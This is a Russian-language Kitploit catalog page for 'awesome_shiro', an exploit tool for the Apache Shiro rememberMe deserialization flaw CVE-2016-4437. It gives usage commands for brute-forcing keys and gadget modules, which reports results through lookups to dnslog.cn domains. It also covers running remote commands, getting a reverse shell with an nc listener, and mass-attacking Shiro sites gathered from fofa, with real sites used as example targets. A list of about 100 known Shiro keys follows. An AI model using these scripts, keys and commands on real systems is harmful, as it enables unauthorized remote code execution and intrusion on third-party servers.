Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/bkfish/awesome_shiro
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro скрипт для брутфорса десериализации и ключей, выполнения команд и обратного шелла

Репозиторий
551626 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Awesome-shiro

CVE-2016-4437 Широ <=1.2.4 Десериализация, инструмент для подбора модуля и ключа, выполнения кода, получения обратной оболочки


Причина уязвимости

Поскольку Shiro десериализует поле rememberMe из cookie, если узнать метод кодирования Shiro, закодировать вредоносную команду этим методом и поместить её в cookie HTTP-заголовка, то при десериализации переданного значения rememberMe выполнятся вставленная команда, что в итоге приводит к выполнению команды.

Shiro по умолчанию использует CookieRememberMeManager, процесс обработки cookie: Получение значения cookie rememberMe --> Декодирование Base64 --> Расшифровка AES --> Десериализация

Среда

linux/win10 подходят
python2/python3 подходят
Из-за наличия module/ysoserial.jar в модуле проект несколько великоват, пожалуйста, отнеситесь с пониманием.

Локальное развертывание полигона

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Использование скриптов

1. Использование модуля подбора shiro_crack.py

Необходимо использовать совместно с http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

После успеха проверьте запись – формат записи {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

Отсюда видно, что успешный key — U3ByaW5nQmxhZGUAAAAAAA==, модуль — CommonsBeanutils1. Поскольку key содержит символы ==/+ и т.п., проект слегка их экранирует. Необходимо самостоятельно сверить с Приложением 1. Найдите что-нибудь на fofa для теста. 1.png 2.png

Принцип shiro_crack.py

В сети существует много инструментов для подбора модулей и key, но обычно после успешного подбора они не сообщают, какой именно модуль и key были использованы, потому что для RCE без ответа код ответа всегда 200 независимо от успеха. Этот проект использует подбор модуля и key совместно с dnslog для косвенного получения успешного key и модуля. Принцип — суть DNSlog: DNS оставляет логи при разрешении. Считывая журналы разрешения многоуровневых доменных имён, можно получить информацию о запросе.

2. Использование shiro_rce.py (RCE)

Можно использовать совместно с http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

В dnslog можно увидеть ping rcetest.x9zm4v.dnslog.cn. Для отличия рекомендуется использовать домен на один уровень ниже.

Настройка shiro_rce

  1. Настройка модуля Необходимо в строке 13 изменить CommonsBeanutils1 на модуль, который был успешно подобран:
    root@kitploit:~
    popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    
  2. Настройка key В строке 16 заменить base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") на key, полученный при подборе:
    root@kitploit:~
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 
    

Найдите что-нибудь на fofa для теста. 3.png 4.png

3. shiro_getshell — получение обратной оболочки

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{целевая машина}} -lh {{IP для обратной оболочки}} -lp {{порт для обратной оболочки}}

В целях безопасности лучше атаковать локальную цель. Принцип — упаковка JRMPListener и полезной нагрузки вместе. На самом деле можно обойтись без JRMPListener.

Тест shiro_getshell:

6.png 5.png


Небольшая идея Раз уж возможен выход в сеть, почему бы не использовать shiro_rec с bash reverse shell? После нескольких неудачных попыток мне кажется, что у Shiro есть какие-то фильтры. Но я обнаружил, что можно сначала через wget загрузить sh-скрипт для обратной оболочки, а затем выполнить его через sh. См. Небольшое исследование по получению обратной оболочки без jrmplistener


4. fuzz-shiro

Простой тест по заголовкам запроса и ответа — сайты с Shiro помещаются в файл shiro.txt.

5. shiro_piliang_crack.py

Рекомендуется сначала получить из fuzz-shiro список сайтов с Shiro (shiro.txt), затем выполнять массовую атаку. Запись в dnsLog: {{key}}.{{модуль}}.{{url}}.dnsurl

Проверено — работает неплохо.

Часто задаваемые вопросы

1. При запуске в win10 возникает ошибка No module named 'Crypto'

Выполните следующие команды:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

В каталоге установки Python \Lib\site-packages переименуйте папку crypto в Crypto.

Приложение 1: Часто используемые ключи shiro

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Скачать инструмент